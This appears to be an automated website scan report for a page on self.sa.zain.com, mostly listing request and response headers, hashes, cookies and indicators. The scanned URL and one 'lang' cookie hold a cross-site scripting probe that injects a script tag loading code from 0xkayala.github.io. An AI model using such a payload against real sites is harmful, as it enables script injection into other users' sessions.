2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
GSE /
Resource Hash
340fcccc2396c4f80e18629c6eccb592cf3dcda439ec5953efaadeb533058213
Security Headers
Name Value
Content-Security-Policy frame-ancestors 'self'
X-Content-Type-Options nosniff
X-Frame-Options SAMEORIGIN
X-Xss-Protection 1; mode=block

Request headers

Referer
https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36
Content-Type
application/x-protobuffer

Response headers

date
Mon, 26 Feb 2024 20:02:37 GMT
content-encoding
gzip
x-content-type-options
nosniff
content-security-policy
frame-ancestors 'self'
server
GSE
x-frame-options
SAMEORIGIN
content-type
application/json; charset=utf-8
cache-control
private, max-age=0
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-xss-protection
1; mode=block
expires
Mon, 26 Feb 2024 20:02:37 GMT
refresh_2x.png
www.gstatic.com/recaptcha/api2/ Frame 7487 		600 B
624 B 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
44b988703019cd6bfa86c91840fecf2a42b611b364e3eea2f4eb63bf62714e98
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Wed, 21 Feb 2024 07:57:49 GMT
x-content-type-options
nosniff
age
475488
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
600
x-xss-protection
0
last-modified
Tue, 03 Mar 2020 20:15:00 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
image/png
cache-control
public, max-age=604800
accept-ranges
bytes
expires
Wed, 28 Feb 2024 07:57:49 GMT
audio_2x.png
www.gstatic.com/recaptcha/api2/ Frame 7487 		530 B
554 B 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://www.gstatic.com/recaptcha/api2/audio_2x.png
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
89c62095126fca89ea1511cf35b49b8306162946b0c26d6f60c5506c51d85992
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 19:17:32 GMT
x-content-type-options
nosniff
age
2705
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
530
x-xss-protection
0
last-modified
Tue, 03 Mar 2020 20:15:00 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
image/png
cache-control
public, max-age=604800
accept-ranges
bytes
expires
Mon, 04 Mar 2024 19:17:32 GMT
info_2x.png
www.gstatic.com/recaptcha/api2/ Frame 7487 		665 B
689 B 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://www.gstatic.com/recaptcha/api2/info_2x.png
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
55eaf62cb05da20088dc12b39d7d254d046cb1fd61ddf3ae641f1439efd0a5ee
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Thu, 22 Feb 2024 11:42:02 GMT
x-content-type-options
nosniff
age
375635
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
665
x-xss-protection
0
last-modified
Tue, 03 Mar 2020 20:15:00 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
image/png
cache-control
public, max-age=604800
accept-ranges
bytes
expires
Thu, 29 Feb 2024 11:42:02 GMT
KFOmCnqEu92Fr1Mu4mxK.woff2
fonts.gstatic.com/s/roboto/v18/ Frame 7487 		15 KB
15 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80e::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
3e253b66056519aa065b00a453bac37ac5ed8f3e6fe7b542e93a9dcdcc11d0bc
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

Referer
https://www.google.com/
Origin
https://www.google.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Wed, 21 Feb 2024 07:46:35 GMT
x-content-type-options
nosniff
age
476162
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
15344
x-xss-protection
0
last-modified
Mon, 16 Oct 2017 17:32:55 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="apps-themes"
report-to
{"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
content-type
font/woff2
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
timing-allow-origin
*
expires
Thu, 20 Feb 2025 07:46:35 GMT
KFOlCnqEu92Fr1MmYUtfBBc4.woff2
fonts.gstatic.com/s/roboto/v18/ Frame 7487 		15 KB
15 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80e::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
c912a9ce0c3122d4b2b29ad26bfe06b0390d1a5bdaa5d6128692c0befd1dfbbd
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

Referer
https://www.google.com/
Origin
https://www.google.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 17:34:06 GMT
x-content-type-options
nosniff
age
8911
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
15340
x-xss-protection
0
last-modified
Mon, 16 Oct 2017 17:33:16 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="apps-themes"
report-to
{"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
content-type
font/woff2
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
timing-allow-origin
*
expires
Tue, 25 Feb 2025 17:34:06 GMT
KFOlCnqEu92Fr1MmEU9fBBc4.woff2
fonts.gstatic.com/s/roboto/v18/ Frame 7487 		15 KB
15 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80e::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
5a8c1e7681318caa29e9f44e8a6e271f6a4067a2703e9916dfd4fe9099241db7
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

Referer
https://www.google.com/
Origin
https://www.google.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Fri, 23 Feb 2024 11:07:48 GMT
x-content-type-options
nosniff
age
291289
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
15552
x-xss-protection
0
last-modified
Mon, 16 Oct 2017 17:33:02 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="apps-themes"
report-to
{"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
content-type
font/woff2
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
timing-allow-origin
*
expires
Sat, 22 Feb 2025 11:07:48 GMT
oN6JOQxO2CZdhDuvURgc1WDqFpXrbMZ6mY5cTBya2tA.js
www.google.com/js/bg/ Frame 7487 		17 KB
7 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://www.google.com/js/bg/oN6JOQxO2CZdhDuvURgc1WDqFpXrbMZ6mY5cTBya2tA.js
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
a0de89390c4ed8265d843baf51181cd560ea1695eb6cc67a998e5c4c1c9adad0
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Wed, 21 Feb 2024 06:19:37 GMT
content-encoding
br
x-content-type-options
nosniff
age
481380
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
6931
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 17:30:00 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="botguard-scs"
vary
Accept-Encoding
report-to
{"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]}
content-type
text/javascript
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Thu, 20 Feb 2025 06:19:37 GMT
payload
www.google.com/recaptcha/api2/ Frame 7487 		29 KB
29 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA78k4vXq-tUf_X1zocbPkLFCHbzYpmSLaKsNvKVfOTYN44Q955Fe8T5I38GNHlSIoXvHEqAyGiDrY0r9fIH2ONGTS7wih5GdDmRrZGJ9csuDcuyexDfTmpA7mZAD8okMWkmU1mHwXUjjkEnqmNuvGBxt88HopvqGYn0Tq-JdYskbqVvwyYf8qJ5UI_15RntCMpZ2yO2aQnQ-h12V__hJ3JaJvtlsg&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
GSE /
Resource Hash
b22bd3aa65c6eff29c3b3e61b254f2a9eb536d2a9b54eae6a8a48911c52f6d8c
Security Headers
Name Value
Content-Security-Policy frame-ancestors 'self'
X-Content-Type-Options nosniff
X-Frame-Options SAMEORIGIN
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:37 GMT
content-security-policy
frame-ancestors 'self'
x-content-type-options
nosniff
server
GSE
x-frame-options
SAMEORIGIN
content-type
image/jpeg
cache-control
private, max-age=30
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-xss-protection
1; mode=block
expires
Mon, 26 Feb 2024 20:02:37 GMT

Verdicts & Comments Add Verdict or Comment

45 JavaScript Global Variables

These are the non-standard "global" variables defined on the window object. These can be helpful in identifying possible client-side frameworks and code.

object| 0 object| 1 object| 2 object| _wpemojiSettings function| $ function| jQuery object| wpml_cookies function| Sweetalert2 function| SweetAlert function| Swal function| sweetAlert function| swal object| ___grecaptcha_cfg object| grecaptcha string| __recaptcha_api boolean| __google_recaptcha_client object| __Html5QrcodeLibrary__ function| Html5QrcodeScanner function| Html5Qrcode object| Html5QrcodeSupportedFormats object| Html5QrcodeScannerState object| Html5QrcodeScanType function| _0x5ddf91 function| _0x54f2 function| _0x23c9 function| _0x34a693 function| _0x1328 function| _0x3df9 object| wc_single_product_params object| nm_wp_vars object| aps_info function| keyLimit function| getNumOfColumn function| iframeLoaded object| recaptcha object| wc_add_to_cart_params function| Cookies object| woocommerce_params object| wc_cart_fragments_params object| Modernizr object| actions function| wcml_reset_cart_fragments object| closure_lm_38787 object| twemoji object| wp

6 Cookies

Domain/Path Name / Value
www.google.com/recaptcha Name: _GRECAPTCHA
Value: 09AEmErQE_YVC5s-69u4I9KAaDrVAZwijk5bSr-5YzVkrw3SQ2K5dAtB8WoCDJssdrpigKVcZGe0ciJmjk3djGQGc
self.sa.zain.com/new/go Name: lang
Value: FUZZ%3C%2Fscript%3E%3Cscript+%2Fsrc%3D%2F%2F0xkayala.github.io%2Fxss-poc.js%3E%3C%2Fscript%3E%5C%22%3E%3C41707
self.sa.zain.com/new Name: lang
Value: en
self.sa.zain.com/ Name: PHPSESSID
Value: 462gkh88cqasnq3jqo2s7luk49
self.sa.zain.com/ Name: wp-wpml_current_language
Value: en
self.sa.zain.com/ Name: TS01bc2265
Value: 01949c051d3e032e03eba2008b36a6ec576781cc513e6de74a5a8260a35377a6230262b69647521851a3824f5018c2ac6e03e498607b03d2435a60a4d0c11b5e79a56f93b65a4c95a43bda8f63ea2f77aa2c1ef0f6

3 Console Messages

Source Level URL
Text
security error
Message:
Error with Permissions-Policy header: Parse of permissions policy failed because of errors reported by structured header parser.
other warning URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Message:
Third-party cookie will be blocked. Learn more in the Issues tab.
other warning URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Message:
Third-party cookie will be blocked. Learn more in the Issues tab.

Security Headers

This page lists any security headers set by the main page. If you want to understand what these mean and how to use them, head on over to this page

Header Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Indicators

This is a term in the security industry to describe indicators such as IPs, Domains, Hashes, etc. This does not imply that any of these indicate malicious activity.

0xkayala.github.io
ajax.aspnetcdn.com
cdn.jsdelivr.net
cdnjs.cloudflare.com
fonts.googleapis.com
fonts.gstatic.com
self.sa.zain.com
unpkg.com
www.google.com
www.gstatic.com
152.199.19.160
2606:4700::6810:5614
2606:4700::6810:7eaf
2606:4700::6811:190e
2606:50c0:8001::153
2a00:1450:4001:80b::200a
2a00:1450:4001:80e::2003
2a00:1450:4001:810::2003
2a00:1450:4001:82f::2004
95.178.81.27
00b55d4c2f81b6b53aa944b364b81ac1e1a3a4f3e94818b14eb270e5f156f24b
02cc2dc09db9639322ca21ba57ffe2682b4124f309e6bc880a63cc3d6128457a
110da242f69712673b5749d1302e37e365aa6fdf569926d5b43e23f4047446a9
1355605c748ba06b91514ca27feaa9c0c97ac33eb32fed979fc9fabb623d9023
21b8a788be3b5750a416db298f10052985f72df78861746b134d8537dbdf341a
2adefcbc041e7d18fcf2d417879dc5a09997aa64d675b7a3c4b6ce33da13f3fe
2c766aa3c79a45de31e1d55c25ebea682c1138e9029be4a2de3f52aa7f0dbbf4
340fcccc2396c4f80e18629c6eccb592cf3dcda439ec5953efaadeb533058213
396bd1ab182a204c8c227c5d6aef6cbe3a3481500e816635b408da715695dfa1
39a537aefd52512ee44fea105de5702bad41fd245d25686a141a9c07dc82f914
3b1384ff918d4b7f95f9ee5c8fc388203dedff7344d3d96598c9562162788612
3e253b66056519aa065b00a453bac37ac5ed8f3e6fe7b542e93a9dcdcc11d0bc
413669ab5cf7b85e4f03b251b6d3350b2f186a5491e4c22e0a118406e1e6b517
44b988703019cd6bfa86c91840fecf2a42b611b364e3eea2f4eb63bf62714e98
4865356d55c1bb69dbc85229e95a2d2041a7d4dfb5b4f1aec7403e64d706ff6e
4f79a89d16a5f717110fe080c0bf90b7e05ff95a4c4983f64d33110bf5f9c230
53d64f5cd9cb329a9f0b9188a6d431d84b50a11fe8d603deebbc624596bbe0d8
547f04af06cddd87583418395c5819021eadb0a57cc713820ee61194efcbe06b
5550f904be1dd8825d113db685b9c92507fa0087d414c6a1f64852d62758c0c4
555666b22530324690d645445978e04087332411db0eb502295b5d6cbae14a61
55eaf62cb05da20088dc12b39d7d254d046cb1fd61ddf3ae641f1439efd0a5ee
5a8c1e7681318caa29e9f44e8a6e271f6a4067a2703e9916dfd4fe9099241db7
60d51fea6669a866e3dce8a8583978127ef1808feb14c073b2f5c2a05a45908c
660b12437b1d747e3e68b8be0685c08cb728140110ad213f167b14b66f8b1d8e
68ac5bb606ed86c8662430aa6689337189ff585fcb70f9dd8ca700b91dcca8b1
6db448a15b4382997efe9df1de934b99939c1ae8751a8ec05c5b71e77567576a
71966cb221a057ee9313fb232e40c7a0a70d2e472909c3947f4878c8e195ad53
731a029879f6a6ba7a7957479fbd1ed104e481c95fa80745bc0a8ed78b7fc0c2
7705fee13417229d718f14947e9860d5bb2b25bd15c9f5cd834f2545c7bad0a6
7744d3d4f8712a85f3a4e9f719649c3a7dca88664c17384a5b3d9dca0d91150b
7859a62e04b0acb06516eb12454de6673883ecfaeaed6c254659bca7cd59c050
799aeb25cc0373fdee0e1b1db7ad6c2f6a0e058dfadaa3379689f583213190bd
80663b7d03f283b27d8d833ca725a43d5cd3d5b5a7dd6487970dca9469f9c139
851ec7ad8ccc397fc2c89ddbc9970105559054fa154b51a56c0d1325eee529de
8634aa7a3ac0bc6d359b458c8922e9d3269f64c1355b329bfe215beb12773af8
89c62095126fca89ea1511cf35b49b8306162946b0c26d6f60c5506c51d85992
8af93bd675e1cfd9ecc850e862819fdac6e3ad1f5d761f970e409c7d9c63bdc3
9118eec32e11c1159719cbab0a3ec9e33f6d800598ce04030d3f7241a278c044
966ace53450d1c407a74ffff13995dbd4f16f976ac043917ed8661664f6e1b43
9810aee7e6d57d8cceaa96322b88e6df46710194689ae12b284149148cabc2f3
987d42596e95f20fcfe0900d7016db4f746fc584ec8d1e41ace34bc7ae08387c
98a3d200e00b579bc2728ad2eb57290ab71da1eb5db24b2c65005ae91afbca69
9c7c023f91428234ca0ea4df1199758686f4dcd04da96ba63571788fb3389c0b
9e40ace53b976a60350cc90f389f140fa79fa1ec5f649b75f9fee1bffca582ee
9ed2048af008abe9739e5658331fa63f436f359c2085099e7636f191bc5d1a9d
a0de89390c4ed8265d843baf51181cd560ea1695eb6cc67a998e5c4c1c9adad0
a256fccecac3b32ab73c91d79a18747519a1a18023be05465c933b03523a82e8
a268327b01c56d53436e3d9eac8be0573c75be757d973bfc4f3fcaed9bfb131b
a706eac4c3ff582350b49fcfdc26aada2a13590f5726990c4e85c089b7e3b1ef
aca566587618e75fa291a419c7c430be02e03fc72f6105658c1bc8e7d59a65e4
ae707ec81b142f04b6d5f785a5d4f7e8301bdb62a95288dee1f3e58930d21c7a
afacce23cb4feaaaef37997f8439819d8f827df4951f3ff02704c9f16fb7f53a
b22bd3aa65c6eff29c3b3e61b254f2a9eb536d2a9b54eae6a8a48911c52f6d8c
b4347cb77d6e6ee9011f2f18569246fc253174d905fb7ade3a839b05bcb434ae
b49498d1142de7f2e16afc2cd4250d2ba30c5df4de5d291f51d7cf69727efdbe
b5c6d2c1ceedd109e0f36fad0c4a78ab3c2a107ee5f6218fd5c8a987393914ba
b5ff93bda60db19fa0fc5620b83930a09ed538a7e0a366502606fe1fc06b8356
b9da4bc50fd4b9e583ca597f592bd01492de0138910626de349f36c0dda0fcde
b9ef5b893f814312d0b3ee6d02c72d4da95367ad826ecb2e3caa28400a22acd5
c1f2eb3db040cd7bae91d883740d51c36575f83fe0256a25746c6a02917e7b4f
c912a9ce0c3122d4b2b29ad26bfe06b0390d1a5bdaa5d6128692c0befd1dfbbd
c99cd561edfdb05ba2249ed8ee2365383d4d74959878495452510123427468dd
cda4a81c187015d95ed2c71f1841540b08203cdec5fa2a7d5d1825a3c2166f8c
d366521c33cba9740c6baccb5139f5dd3d644927b6fb81082c216c874057a71d
d70f8975aa63020ff5beb867bc08af2f9b850180ce96fc4589020a5bec79ce41
dcd9f488bd62ba0ee403b07a97e40b9ffd63a0eff61091588c913b16d5153d48
e51e616d124133b0fb24968469097a4d311b972f78455143d940703ea0639ba6
e99c5d0c2184e22458b53c49c9b2badcde263b3c571bedbcd3c7ceae9c45a53a
e9a4a8d6ea5028db161c897aa3b3797a63ce7775e4b77295aec6c7210adc08aa
e9cc68c1978fd61155e68bfeb6d0932dc8a04362139c724359d4574a3ae5bbdc
ec7eb19422058571b43826077535b25347a96c151aefa5b338b3d15930ebf58d
ecbef0f33e8ccedd2c605816e052cfff778abcc0e30a80b874c097a5fddd24fc
ee14e1c34ca92b9c270bf567a0bb381f83c6151be2020a948547c3e9de2e9cd3
f69ae61ef026e450496faedf16bcd30f1e87b0ea19743b8ee954b31e24277825
f7244fff610595b944f76bf3080d74e3af42b5dd234f8f079e698cc39ac966b0
f859ec6ffbdeda0afa3d1fbfa0931d19c9ed6441323bf46916f2d7411f48ae8a
fb441ff081cc256b98959da540306b175fb66a28084595c4752bde82d10ba362